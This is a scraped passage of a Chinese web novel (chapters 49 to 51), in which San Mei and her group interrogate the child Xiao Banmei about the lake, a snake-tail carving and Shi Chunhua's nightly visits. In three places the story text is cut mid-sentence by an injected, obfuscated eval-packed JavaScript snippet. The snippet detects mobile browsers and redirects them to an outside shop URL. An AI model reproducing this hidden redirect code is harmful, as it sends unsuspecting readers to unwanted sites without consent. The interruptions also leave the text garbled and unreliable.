三枚指着小坂妹脖子上血迹斑斑的抓痕,“那日你劈向我时,我家八耳可是当场就回了礼的。” 若不是遇水失衡,八耳那一抓,你势必血溅当场,横死无疑。 小坂妹小脸一白,后怕地摇了摇头。 三枚见此一挑眉,轻飘飘地道:“怎么,还是说你忘了?那让我家八耳给你回忆回忆?” 还在埋头苦吃的八耳,闻言豆眼一瞪,就要振翅扑向小坂妹。 “别别别!!”小坂妹连忙挥手,想狡辩又觉得苍白无助,她紧张地咽着口水,脑子飞速运转,须臾才道:“误会哈,误会。” 揩了揩流着鼻涕水的小蒜鼻,她的眼珠子慢腾腾转了几圈,接着讪笑道:“我当时就是、就是闹着玩儿的,主要是、想跟您几位,开个玩笑。” 没想到中途收不住手,差点闹大了。 “误会?闹着玩儿?开玩笑?” 三枚的连续三问,问得小坂妹头皮发麻,不敢直视她的眼睛。 “那半个时辰前,那群爬上船意图咬死石春华的毒蛇,你又该怎么解释?” 没等小坂妹找借口狡辩,三枚忽而用力拍桌,沉声喝道:“我看你就是故意的!非要给我一个下马威尝尝才罢休!” “说!你葫芦里到底卖的什么药,有什么企图!” 突如其来的呵斥兜头劈来,小坂妹吓了一大跳,呆呆的、不知所措地看了三枚一眼,忽而小嘴一张,“哇”的一声大哭了起来。 “哇啊啊啊,你凶我哇啊啊,呜呜呜......”眼泪说来就来,小坂妹坐在地上,双腿胡踢乱蹬,瞬间泪流满面,指着三枚控诉:“你欺负人,呜呜呜啊啊......” 她一边哭,一边斜着眼睛偷看三枚的反应。 三枚:还真是花样百出,竟玩上了撒泼哭闹的的把戏。 她面无表情,无动于衷,双手环胸,嘴角挂着讥讽的笑,看着小坂妹一副“小孩你就演吧哭吧,我看你能装到何时”的看戏脸。 哼!又是个冷面无情的女人! 攻克不下“大魔王”,那就从虾兵蟹将各个突破。 视线快速在房间里转了一圈,小坂妹侧身,首先选择了看起来比较温顺、可能相对好说话一点的裴元。 狠狠地揉了下眼睛,她双眼哭得通红,朝裴元张开双手,像个受了委屈寻求大人安慰的小孩子,道:“呜呜呜呜......” 殊不知裴元看起来人模人样,实际上却是在场所有人中最尖酸毒舌的挑剔鬼,何况他还有洁癖,最看不惯人污遭邋遢的丑模样。 想当初第一次见三枚的时候,他眼里可是充满了赤裸裸的嫌弃和鄙夷。 更别提小坂妹从头到脚一身黏糊糊又臭烘烘的尸水味,他被熏得直接躲到最通风的窗边那儿去了。 见这脏兮兮的小孩朝自己伸手,裴元第一反应就是后退,生怕被她溅到一点点脏东西。 “去去去,你这个脏不拉几的臭小孩,往哪儿伸手呢!” 他眼中流露出明显嫌弃,反感地睨了小坂妹一眼,撑起折扇嫌弃地对着自己的脸使劲扇风。 小坂妹嘴角一抽:......狗东西! 出师不利,再创受挫,感觉被插了一剑的小坂妹,哭腔渐渐真情实感了起来。 但她没有气馁,小眼一眯,在陆衎邢正之间,反其道地选择了看起来最凶神恶煞的邢正。 结果她只是刚转了个方向,突然从边上冲出一个小胖子,双手大张挡在了邢正的身前。 成小胖瞪着小坂妹,对着她大喝道:“脏东西,干嘛呢!” 小坂妹哭声一顿:脏、脏东西? 再看邢正,见他一张黑炭脸眉头紧皱的模样,小坂妹感觉自己身上又被狠狠插了一剑。 她哭丧着脸,还没想好要不要对着陆衎最后搏一搏,就听三枚的声音慢悠悠地身后传来。 “我劝你,若是不想缺斤少两地从这儿被扔出去,就老实一点,别瞎打主意。” 没见陆衎脸上那毫不掩饰的厌恶吗? 他那双厉眼冷得快掉渣,连三枚看了都心惊,你个破小孩,居然还敢闹! 小坂妹闻言,小心翼翼偷看了陆衎一眼,见他眉头轻蹙,杀气腾腾的气势,吓得大张的嘴巴蓦然一闭,不敢哭嚎了,忍不住打了好几个哭嗝。 向来自诩天真可爱的小坂妹,不禁对自己产生了怀疑:难道自己就这么惹人厌恶吗? 她现在是真觉得有些伤心了,嘴角向下一撇,委屈巴巴地看着三枚:“呜呜,你们都欺负我!” “你们陆地人,一个个的,就是瞧不起我水上人的身份。” “呸!” 云丫白眼都快翻天了,她双手叉腰,像护法一样站在三枚的边上,瞪着小坂妹道:“明明是你心术不正,先算计我们的!” 小坂妹否认:“我没有!” “还敢狡辩!”鱼儿搡开挡在身前的二毛,怒道:“之前你能靠一己之力将我纪老姑的渔船劈裂,而方才,你从湖底掀起的巨浪差点将我三枚阿姐吞没,我们在岸上可是看了个一清二楚!” “你分明身怀不凡,却故意扮作手无缚鸡之力的弱女,博取我们的同情之心,而我们为了救你,差点跟那群水都人拼命。” 鱼儿一脸的义愤填膺,一步一步逼近小坂妹,“结果全是演戏!你将我们骗得团团转,还好意思说我们欺负你,看不起你水上人的身份?!” 小坂妹年纪虽小,但她深知三枚和陆衎几个大人虽然看起来不好惹,却轻易不会对自己一个小孩出手。 但云丫几个大孩子就不一样了,惹急了他们,他们是真的会对自己大打出手,而且绝不会留情。 小坂妹被质问得哑口无言,越来越心虚。 一想起那日这几个人干架时,那一副不要命的架势,平时牙尖嘴利的小丫头,现在愣是不敢顶一句嘴,反而被逼得连连后退。 气死人!自己在暗处蛰伏了好久,分明看见楼船上走得只剩三枚和裴元两人了,才敢大着胆子出手的。 结果没将人镇住,反而被捉了个正着,现下还被人当做十恶不赦的坏人审视。 小坂妹又想哭了,但那个不能瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038604|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打主意的男人,正拿看死人一样的可怕冷脸看着自己,她抿着嘴只能将眼泪给咽回肚子里。 她嘴巴瘪得像只小鸭子,黏湿湿的小手在怀里摸索了一会儿,老半天才犹犹豫豫地伸出手来。 “喏,我把真正的蛇尾圆雕给你,你让她们别打我。” 说完,小坂妹将木雕往三枚所在的方向一推,木雕便“咕噜噜”滚了起来。 不知何时坐到了三枚左手边的陆衎,冷厉的眉眼轻轻地扫了眼边上的二毛。 二毛被陆衎那一眼,看得浑身一颤,他的眼睛瞬间瞪大,不知为何竟然读出了他眼里的意思。 于是肢体反应快过大脑,他立马伸出脚挡住了那枚滚动的木雕。 三枚身子向前一倾,伸着脑袋仔仔细细地看了地上那枚木雕一眼,忽而一挑眉,轻声道:“确实是真正的蛇尾圆雕。” 她在心中暗道:没想到这小孩这么不经吓,居然连传家宝都给掏出来了。 佯装凶狠的眼眸有片刻的柔和一闪而过,三枚杏眼眨了眨,忽而一跃而起,隔着衣袖抓起圆雕。 从小坂妹的身边飞掠过,径直走出了船舱,背对着云丫她们几个一挥手,“把人带回去洗洗刷刷,收拾干净了再让来见我。” 云丫和鱼儿闻言,没有丝毫犹豫,像个合格的士兵一样,立正沉声应道:“是!” —— “果然熊孩子还得孩子王来治!” 裴元拉住跟在三枚身后的陆衎,低声道:“陆在野,我看你跟小三枚,成婚了还是得多生几个孩子,然后让大的管小的,以后就不用头疼了。” “口无遮拦。”陆衎轻声斥他,嘴角却不自觉深深翘起,却在与裴元擦肩而过时,漫不经心地睨了他一眼。 陆衎状似不经意地道:“我从不作违背女性意愿之事。” 啥?怎么就扯到这么高立意去了? 还有,我说什么了,就成违背女性意愿了? 裴元严重怀疑陆衎在阴阳怪气他,“陆在野,我发觉你最近对我有些过分了啊!” “但凡我说几句话,否管对错,你不是拿你那冷眼不轻不重地扫我,就是意味不明地点我!你这是看我不顺了,故意找我的茬?!” 陆衎根本不理他,说完话便径直上岸了。 “嘿哟,你还敢冷暴力忽视我——”裴元不依不饶,意气上头就要去追陆衎理论,却被邢正眼疾手快给拦住了。 邢正:“你冷静一下,陆在野并不是挑你刺的意思。” “他可能是在委婉表达,生不生孩子,或者生几个孩子,主要看三枚的意思,轮不到他独断专行。” “是吗?”裴元深深地望着陆衎的背影。 见他几步就追上了走在前头的三枚,主动低头跟人搭话时,嘴角还挂着那不值钱的浅笑,裴元忽然就觉得邢正的话说得十分有道理。 陆在野,你是彻底栽在了小三枚的手上了! “你说得对。”裴元说完,猛然一转头,眯着一双桃花眼,上上下下地扫视着邢正。 邢正被他看得一脸莫名其妙,抬手摸了摸自己的脸颊,问:“我脸上有东西吗?你怎么这么看着我?” 裴元一把扯住他的衣领,“你昨晚,是不是背着我,偷偷跟陆在野取经去了?” 不然怎么脑子突然转得这样快,连陆在野的话里话外的意思都能摸得透透的?! “咳咳。”邢正扯回自己的衣领,清了清大粗嗓,脸色不太自然地道:“没有的事,你想多了。” 说完脚下轻轻一跃,便上了岸,去追陆衎一行人去了。 裴元立刻紧追而上,大喊道:“撒谎!你给我站住,不说清楚你今晚别想睡了!!” 49. 第 49 章 “我是真心,来加入你们这个大家庭的!”小坂妹一脸天真地道。 三枚嘴角一抽,满脸问号:什么大家庭? 一天天为了点鸡毛蒜皮的小事,能吵上百八十回的大家庭? 她看了眼边上站着的云丫和鱼儿,两个死对头彼此对视一眼,眼里全是毫不掩饰的嫌弃,还不约而同地互翻了个大白眼。 再看另一边的裴元,见他不屑一顾地嗤笑了一声, 余光不经意瞥见站在裴元斜对面的二毛,他居然也正一脸不高兴地瞪着眼睛。 裴元也不甘示弱回瞪着他:臭小子,还真记仇! 接着他眼尾一挑,挑衅似的上上下下扫了二毛一眼,心里一哼:谁跟这群臭小孩是一家人! 二毛:我更不稀罕! 不知道自己一句话,轻易就挑起三枚一群人之间存在的小矛盾,小坂妹看着放在自己面前的蛇尾圆雕,实在想不明白为什么三枚不收。 这可是蛇尾圆雕啊! 不仅能驱使所有的蛇类为己用,更能操控任何水域,翻手覆雨吞没一切,是他们水上蛇族的传家宝,更是掌权者的绝对地位象征。 想她们家族内部为了这块小小的、不足拇指大的蛇尾圆雕,各种勾心斗角,争得头破血流啊。 结果白送给三枚,她居然还不要? 小坂妹不可置信,觉得肯定是三枚他们不清楚这块木雕的厉害之处和重要程度。 想通这一点后,她低迷的脸色瞬间开朗了起来。 她看了坐在三枚身边、气势不容忽视的陆衎一眼,挤出一个特别开朗的笑,脆生生地道:“相信我,我不是来搞破坏的!我也没有其他的坏心,献上这块圆雕,是我为了加入你们这个大家庭的第一个投名状。” 她的话,听得三枚白眼一翻。 这小孩用词真的奇奇怪怪,该不会是尸水泡多了,脑子也跟着出问题了吧? “你说你是来加入我们的?”三枚慢条斯理喝了口茶,茶杯轻轻一放,道:“那好,你把你头上那只长簪,给我掰成两段了,我就收你。” 小坂妹脸色一僵,下意识伸手捂住头上的虎头蛇尾小长簪,结结巴巴地道:“这、这不太、不太好吧。” “一只、一只簪子而已——” 三枚:“圆雕我不收,想留在我这儿,那就把代表你蛇族地位的虎头蛇尾簪,给我掰断了。” “不行!” 小坂妹小脸一垮,喃喃道:“不行的啊,掰断、掰断了我就、我就——” “就回不去了?就彻底跟你们蛇族一刀两断了?”三枚帮她把话说完,“你既舍不得你蛇族身份,又何必强求要留在我这儿?” “你总不会觉得,我那么好忽悠的吧?” 小坂妹的皮肤原本就被云丫几个洗刷得通红,现在被三枚这么一抢白,更是满脸通红,口干舌燥,她舔了舔嘴,“我、我没有......” 三枚抬手道:“废话不许说!” “你的小心思也收收,我也不为难你一个小孩,就问你一句,孟庄那个老水鬼,屡次派你袭击于我,居心何在?” 小坂妹猛地一抬头:“啊?” “你们水上人和陆民之间的恩恩怨怨,可跟我一丁点关系都没有。” 三枚一眼不错地观察着小坂妹脸上的神情,“然而,你们却偏将我的人卷入你们的是非之中,为什么?” 还不就是为了引你入瓮! 小坂妹因为哭过,明显还红肿的眼睛眨了眨,脑子里正思考着要怎么回答的时候,耳朵里又传来三枚清凌凌的声音:“我劝你最好老实回答,不然的话,有你好果子吃!” 小坂妹瑟缩一颤,弱弱地说:“我还是个孩子,你、你不能打小孩。” 问题你有小孩样吗? 三枚嘴角一歪,哼道:“谁说的我不能打小孩?我还就专门打你这种爱撒谎、想害人的坏小孩!” 她一边说,一边挥着巴掌吓唬人:“我不仅打,还要咬牙切齿、跳起来转着圈狠狠地打!” 陆衎嘴角一抽:......有些想笑怎么办! 裴元捂脸:“凶残!小三枚简直太凶残了!” 小坂妹果然还是个小孩子,听说要挨打,吓得眼珠子不安地乱转,不一会儿眼眶里就盈满了泪水。 她哭哭啼啼地道:“可我把蛇尾圆雕给你了,是你自己不要的。” “而且我做的事,也不是老族长指使的,是我自己脑子一热稀里糊涂就做了的。” 三枚拍桌:“那你为什么要这么做?” 豆大的泪珠受不住,从小坂妹的眼眶里掉了下来,“啪嗒”一声砸在了案几上。 她声音哽咽,断断续续地道:“我、我就是想吓唬、吓唬你们,不让你们进入、水都。” 裴元反应最快,指着云丫和二毛几个臭小孩,道:“所以你之前那出差点溺水的苦肉计,也是为了把他们从水都赶走?” 听说你这小孩差点呛死在水里,为了赶人,也太下重本了吧! 小坂妹擤了擤通红的鼻子,点头:“水都的陆民最恨我们水上人上岸闲晃,动不动就要拳打脚踢赶我们下水。” “一般外来的客商看不过眼,总会来拦着和事,但我们水陆两派的矛盾,最烦外人插手,一般来解围的人,第二天都会因为各种原因被赶出水都。” 她一边说,一边指着云丫几人,“谁知道她们这么厉害!上来就是一砖头,水都人哪个没有点血性?怎么可能会犯怂让外地人欺负的道理。” “然后......然后事情就闹大了,她们跑了,我被老族长禁足,听说陆民那边几个,则是被打了个半死。” 云丫闻言,气得拳头攥得紧紧,恨不得直接一拳砸在小坂妹的脸上,心里对因自己冲动行事而连累受伤的鱼儿和二毛几人,愧疚更深了。 小坂妹被她身上的戾气和动作吓到,一下子就窜进了长榻里边,双手高举:“我也不想的,我、我也呛水了,何况把你们打伤的,也不是我啊......” 三枚故意拆她台:“没你搭台子演戏,她们也不会上当受骗啊。” 小坂妹指着自己:“可我也溺水了呀。” 三枚摆手,摇了摇头,“你可是能在水底憋上好几个时辰的小水鬼,你说你溺水了?我怎么就这么不信呢!” 小坂妹身子一僵,看着云丫几人眼色越来越不善,吓得浑身直冒冷汗,她颤抖着嘴唇,最后双手一拱,哭道:“我错了。” “大哥哥大姐姐,我错了,我再也不敢了。”她撅着嘴巴,连连讨饶:“我真知错了,你们别、别打我。” 云丫指着自己脸上的血痂:“你瞧清楚,我这脸烂了好几天,都没恢复好呢。” “呜呜......”小坂妹推着榻上的案几挡在身前,朝三枚跪走几步,哀求道:“你、你让他们轻点打,呜呜,我最怕疼了......” 三枚挑眉:“我这人呢,最心软善良了,既然你都这么苦苦哀求了,那么,我也不是不能帮你说情几句。” “但是吧,我这人又不喜欢吃亏。”她佯装苦恼地想了一下,最后勉为其难地道:“这样吧,你老实回答我几个问题,我就考虑一下,让他们手下留情。” “你问!你赶紧问!”怕挨揍的小坂妹,简直将三枚当成了自己的救命稻草,“你想问什么,我若是知道,肯定告诉你。” 三枚抬眸跟陆衎对视了一眼,给云丫几人使了个眼色。 云丫狠狠地瞪了小坂妹一眼,举起拳头晃了晃,将小坂妹吓得瑟瑟发抖了,才听三枚的话退到了边上。 三枚:“首先,镜湖水总是静止无波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049859|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是你在控制的?” “嗯。”她的话音还未落地,小坂妹便连忙点头,还将案几上的蛇尾圆雕往三枚的方向推了推,讨好地道:“就是拿这东西控制的。” “为什么拦着我们不让进入水都?”陆衎为三枚续了杯茶,轻轻将那圆雕给推开了一点。 小坂妹眼珠子在陆衎和三枚两人的身上转悠了一圈,她摸着空空的肚子,被茶水的清香馋得快要流口水。 “我起初,并未看清船上是你们。”她舔了舔嘴角,“我以为是石春华又来了。” 三枚蹙眉:“石春华来,又怎样?” 提到石春华,小坂妹脸色一下就阴沉了下来,她恨恨地道:“石春华这个老太婆,只要她出现在水都,准没好事发生!” 镜湖底下的尸水,自小坂妹生来便一直存在,但直到她继承蛇尾圆雕,开始被允许潜入湖底巡护的时候,才发现那个神秘莫测的湖底下,竟全是黏泞的、臭烘烘的黑泥。 小坂妹能被选作圆雕的传人,水下功夫肯定有异于常人,结果在湖底,也才呆了不到半刻钟,便受不住了。 “根本没法呆!”但她最后还是克服了重重障碍,接手了镜湖。 然而,直到两个月前,湖底的尸水还没那么浓郁腐臭,但是石春华这个老太婆来了一趟水都后,她突然发现,镜湖底下的尸水居然正慢慢地、一点一点地在向上浮起,开始污染并且融入了上层的清流。 还有那些黏泞的黑泥,不仅味道更刺鼻难闻,好像部分从黑色,变成了淡淡的粉色。 这不对劲。 小坂妹从水里出来后,第一时间就汇报给了老族长孟庄,老族长听了她的话后,神情陡然变得狰狞,眼里充满了压抑的怒火,沉默了半晌,却是怨恨又无力地低喃:“又是那个女人!” “谁?” 小坂妹自记事起,还从未在老族长的脸上见过这般颓丧萎靡的神情,她紧张地抓着孟庄的手,问:“老祖宗,您说的女人,指的是谁?” 孟庄掩面,神情痛苦地摇了摇头,他的声音是苍老的、充满疲惫的:“报应,都是报应啊......” 小坂妹虽然是个孩子,却聪敏而机灵,在老祖宗孟庄这里没有得到准确的答案,但她脑子一转,便开始留意起了来往水都、特别那些途径镜湖的船只。 “据我的人所查,短短两个月的时间,石春华乘船进入水都的次数,竟多达二十次余次,每次总是在夜深人静的暴雨夜,艰难攀越巨峰而来,再渡船过湖。” 石春华搭载的小船会先在镜湖上漫无目的地周旋几圈,再慢慢靠岸。 但她通常不会第一时间就上岸,而是等雨势渐弱之后,裹得严严实实再鬼鬼祟祟地溜上岸。 令人奇怪的是,她从不在水都过夜,来去匆匆,孑然一身地来,又两手空空地回。 小坂妹一张小脸皱成了苦瓜,咬牙切齿地道:“但我就是知道,直觉告诉我,石春华这个狡猾的老太婆,一定干了坏事。” 陆衎斟茶一杯茶,缓缓地推到小坂妹的身前,冷眸微垂,忽而道:“尝尝?” “啊,可以吗?”小坂妹猛然抬头,口水咽了又咽,喜出望外又小心翼翼地觑着三枚的眼色,可怜兮兮地问三枚:“可以吗?” 她在湖底呆了一天一夜,肚子空空,连口水都没喝过,简直是又累又饿又渴。 三枚挑眉,慷慨大度地道:“喝吧。” 趁着小坂妹喝水时,她撑着下巴,又问:“你说石春华每次到水都,总是两手空空?” 将杯子里清茶一饮而尽,小坂妹嘴巴吧唧一下,闻言猛点头:“对,虽然不知道老太婆那裹得十分严实的身上有没有藏什么东西,但她来去确实不见带有包裹手提。” “哦,对了,除了她一直撑在头顶的,用来遮挡雨水的油纸伞。” 50. 第 50 章 “叩、叩、叩、” “咳咳,”房外忽然传来蒋敏生的咳嗽声,“序三,是我,蒋敏生。” 三枚刚要开口,边上的小坂妹几乎是在听见敲门声的时候,立马从原地蹦了起来。 她跟受惊的兔子似的,一下子就窜到了三枚的身后,躲了起来。 蒋敏生的声音一传来,她更是怕得瑟瑟发抖。 这时候她也不怕总是吓唬自己的三枚了,竭力忽略冷飕飕对着自己投射眼刀子的陆衎,压低声音道:“嘘。” “他们陆民不允许我们水上人随便上岸,更严令禁止我们踏入水都任何一座有屋顶遮挡的房子,抓到一个不仅要严刑拷打,还要五花大绑让你头顶着大太阳,下半身却泡在在水里示众,最后必须要我们老祖宗亲自来赎,才肯放人。” 小坂妹吓得脸色惨白,拱手对着三枚哀求道:“求求你,别让他们进来,也别把我交给他们,不然我真的会死的!拜托拜托!” 她的声音里,带着真情实感的哭腔。 三枚在小坂妹窜过来的时候,眼疾手快地抓住了陆衎的手腕,将这小孩的苦苦哀求看在眼里,她蹙眉,轻轻握住他已经伸到了小坂妹脖子前的大掌,缓缓摇了摇头。 “她没撒谎。” 陆衎侧目看去,小坂妹害怕得浑身颤抖,上下牙齿抖得“咯咯”作响。 三枚对着陆衎轻声道:“她说的,都是真的。” 小坂妹的恐惧,是每个水上人对水都陆民,根深固蒂在骨子里的本能反应。 门外又响起了蒋敏生的声音,隐含不悦:“序三,你大半夜让人将我从府上请来,就是专让我来吃闭门羹的?” 什么请你! 我请的,分明是你们洞府里的老祖宗镇山神玉玺! 三枚皱着脸,心想蒋敏生这老东西可真会给自己脸上贴金! 低头看着脸色越发惨败、身子抖得越发厉害的小坂妹,她挠了挠头,该怎么先把蒋敏生这个小老儿给体面地赶走。 “啧,蒋敏生可不好打发。” 握着陆衎的手一松,三枚刚想抽手,却被陆衎反握紧了。 心脏“扑通”一跳,她垂眸飞快看了眼交握在一起的黑白分明的大小手,须臾才抬眼,故作轻松地道:“咋啦?” 陆衎将人往身边拉了拉,看了眼她泛着粉色的小小耳垂,声音低低地轻笑了一声,紧了紧握在掌心的小手,对着门外沉声道:“之夜。” 他的话音刚落,之夜便应声而起,高声回道:“属下在。” 三枚就见陆衎浓密卷翘的眼睫毛微微眨了一下,接着道:“将贵客先请到楼船上,我们稍后就来。” 之夜:“是,陆少卿。” “你们陆少卿,在里头?”蒋敏生这个老头突然猛烈地咳嗽了好几声,压着嗓子用特别不可思议的声音道:“就跟序三两人?” 什么就两人,房间里分明就挤满了人! 蒋敏生这个人老眼花的臭老头,说话的口气怎么那么奇奇怪怪! 眼见门外的人越走越远,脚步声几乎听不见了,三枚才嘟哝道:“蒋敏生就一个糟老头子,算什么贵客!” 她扭头去看陆衎,刚想跟他说不用对蒋敏生太客气,结果余光却见倒映在窗户上的人影,只有自己和陆衎的。 她蹙眉,对着趴在地上的一群人道:“你们怎么都倒地上了?” 云丫和王小花几个小姑娘蹲在地上,互相捂着嘴巴。 身形魁梧的邢正甚至揪着成小胖的后衣领,直接趴在了地上,就连最怕脏的裴元,也蹲在塌下,一手压在二毛的肩上,另一只手死死地捂着他嘴巴。 听见三枚的声音,裴元嚯的一下起身,嫌弃地拿手去抹二毛的衣服,夸张地拍着衣裳上的灰尘。 二毛挥开他抹过来的手,哼了一声,也跟着站了起来。 其他人见状,纷纷站直了身体,俱都抓耳挠腮地干瞪着眼。 须臾,云丫率先开口:“就、我也不知道。我看他们一脸严肃地躲了起来,就、下意识就跟着学了。” 她指着邢正和裴元两人,边上的王小花和鱼儿跟着使劲点头,道:“我们看云丫也蹲下了,就跟在她后头,也躲起来了。” 二毛和成小胖对视一眼,异口同声地道:“我俩是被抓的,根本就不知道发生了什么事。” 邢正放开成小胖,拍拍身上沾染的灰尘,“裴子钰给我打了个趴下躲起来的手势,然后我就、照做了。” “咳咳。” 裴元轻咳一声,打开折扇摇了几下,见三枚和邢正并一群小鬼头全都盯着自己看,“哗”一声将折扇收起,“看什么看!” “还不是为了帮你将那老头给赶走!”折扇指向三枚和陆衎交握在一起的手,裴元道:“你俩靠这么近,还握着手,为了混淆视听,我们当然得躲起来,让那老头错觉房内只有你俩。” 幸好蒋敏生老是老,但还挺有眼力劲,懂得非礼勿视,知道什么该看什么不该看。 三枚虽然听不太懂裴元话里的意思,但还是被他说得脸颊腾的一下就红了。 她面红耳赤,猛然甩开陆衎的手,指着裴元,沉声斥道:“胡说八道!” “还有你,快钻我衣服里去了,滚出来!” 骂完裴元还气不过,三枚气呼呼地对着紧紧攥着自己衣裳的小坂妹,恨铁不成钢地道:“就不能有点出息,蒋敏生那个臭老头有什么好怕的!” 说完,她直接从长榻上站了起来,一跃而下,几步就走到了门边,“砰”一声打开门,“懒得跟你们搅和。” 留下这么一句话,就直接跑了。 “小三枚这个不懂事的,居然甩开你的手跑了。” 裴元在后面小追了半步,折扇对着三枚的背影一指,挑拨离间地对着陆衎道:“陆在野,她这是嫌弃你呢!” “赤裸裸的嫌弃!” 说完忽觉头皮发麻,浑身骤然一颤,房间空气好似瞬间就变得冷冰冰的。 他慢吞吞转过头,毫无悬念地对上了陆衎的死亡凝视,他嘴角抽搐,惊觉自己说错了话。 “呵呵......”裴元干干地讪笑两声。 云丫左右看了一圈,察觉气氛有些不对,抄起歪在榻上发呆的小坂妹,夹在腋下也从房间跑了了。 王小花和鱼儿虽然总是跟云丫不对付,但自出了小渔村后,总习惯跟着她行动。 见云丫忽然龙卷风一般跑了,两人顾不得其他,连忙跟上。 邢正舔了舔嘴角,一手揪着成小胖,一手拉过二毛,黑炭脸挤出一个假笑:“之前他们的小渔船,之夜说已经修好了,我带他们过去看看。” 于是房间里,就剩脸色黑沉、浑身嗖嗖冒冷气的陆衎,和故作轻松、却猛摇折扇冷汗淋漓的裴元。 哦,还有看热闹不嫌事大的小八耳,瞪着一双豆豆眼,咕噜噜看好戏似地在陆衎和裴元之间转来转去。 见陆衎慢腾腾地从座上站了起来,裴元忍不住倒退一步,双手放在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078184|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,“呵呵,陆在野,我刚才是乱说的,小三枚她这是恼羞成怒了,不是嫌弃你,绝对不是!” “诶诶,你撸什么袖子,你别急,听我跟你好好解释解释......” 他边说边后退,突然将手中折扇朝陆衎的方向一丢,趁人不注意撒腿就跑。 裴元一边手刀极速逃亡,一边怒吼:“邢安然,你这个见死不救的叛徒!!!” —— 月上中天。 以双手叉腰的云丫为首,小渔村出来的几个小伙伴,俱都气势汹汹地瞪着站在面前的四个小少年。 四个少年俱都鼻青脸肿、伤势未愈,正是白日跪在水都中堂前、曾经跟云丫几个打得不可开交的兰哥几个。 他们双手环胸,看着云丫一行,亦是一脸的不屑一顾。 看起来水火不容的两伙人,泾渭分明各站了楼船甲板的一边。 弱小、可怜又无助的小坂妹,就夹在火药味十足的少年人中间。 她蹲在地上瑟瑟发抖,害怕地双手抱膝,屏住呼吸尽量减少自己的存在感,对着倒影在庐房窗户上三枚等人的影子,简直望眼欲穿。 灯火通明的庐房。 三枚一手撑着下巴,另一只手的指尖在桌上有节奏地敲着。 陆衎就站在她的身后,看着摆在案几上的,歪歪扭扭写着篆字“矣”的信笺,挑了挑眉。 须臾,三枚将那信笺移到了边上,对着蒋敏生道:“你回去告诉玉玺,之前她提的要求,我亦答应了。” “但是,你们的人,我只带一个。”她眸光犀利,看着蒋明生的杏眼里,丝毫不见之前的懒散冷待。 蒋敏生听完就要反驳,却见三枚一伸手,截住了他的话头,“诶,你先别赤急白脸,跟我讨价还价。” “你把我这话,原封不动给你家老祖宗带过去,”她指尖点着桌上的信笺,“她若是点头,你再将人送到我这儿来,事成之后,她要的东西,我定亲手给她送去。” 说完三枚将身子一侧,双手推开窗户,对外面大眼瞪小眼的人喊道:“你们几个,送客!” 云丫闻言,下巴一扬,对着岸上道:“听见没,赶紧滚蛋。” 王小花和鱼儿也跟着她用鼻孔看人,两人异口同声地重复道:“滚蛋!” 眼神装得特别凶狠的二毛和成小胖,向前迈了一步,低吼:“滚。” “你!你们!” 站在兰哥身后的三个少年,被云丫她们的轻蔑态度刺激到,气得攥紧双拳,一言不合就要开打。 兰哥却是轻轻一抬手,将人拦住了,“别冲动。” “兰哥,他们太嚣张了!” 眼神异常坚毅的兰哥,摇头道:“闭嘴!咱们跟着生爷爷是来办事的,切莫意气用事。” 余光见蒋敏生从庐房里出来,他长臂一挥,沉声道:“生爷爷出来了,咱们走。” 几个少年闻言,虚空挥了挥拳头,对着云丫道:“哼,等着瞧!”放完话便去追在了兰哥后头。 “嘁!”云丫嗤笑一声,“等着就等着,谁怕谁!” 又野又拽的云丫,自觉刚才那场气势战,自己这边简直大获全胜。 她刚想跟王小花几人击掌欢呼,转头就对上了三枚冷沉的视线。 云丫吓得一抖,连忙蹲下-身子躲在成小胖的身后,抓着小坂妹的肩膀,胡乱给她整理原本就穿戴整齐的衣裳。 三枚哼了一声,喝道:“所有人,都给我进来,集合!” 51. 第 51 章 “我和陆在野,还有邢安然,从小认识,因为我们几乎是同一时间进入青山学院求学,接受授衣出师亦是在同一天。” 镜湖水在小坂妹的控制下,依旧呈现出一幅水面无波的静谧。 二毛从小渔村开出来的小渔船,真如之夜所说,已经修补完善,能够继续在水上行驶了。 此时天将亮不亮,晨风微凉,三枚站在小渔船的船头,正凝神注视着水面。 身后忽然传来裴元的声音,她莫名其妙地看了他一眼,虽然心里不是很想理他,但又对年少时的陆衎有些好奇。 于是三枚故作漫不经心地道:“那又怎样?” 她说完便转回头,像是一点都不好奇一样,继续观察着静谧的镜湖水,一双耳朵却竖得尖尖的。 三枚知道,以裴元的性格,自己若是这般冷淡的态度,势必会激发裴元的逆反心理。 自己想要听的话,不用多问,裴元肯定会追在自己后头,叭叭继续说下去的。 果然,三枚才刚转头,后头立马传来裴元折扇扇得呼呼作响的声音,接着是他咬牙切齿的嘀咕声:“你个小三枚!” 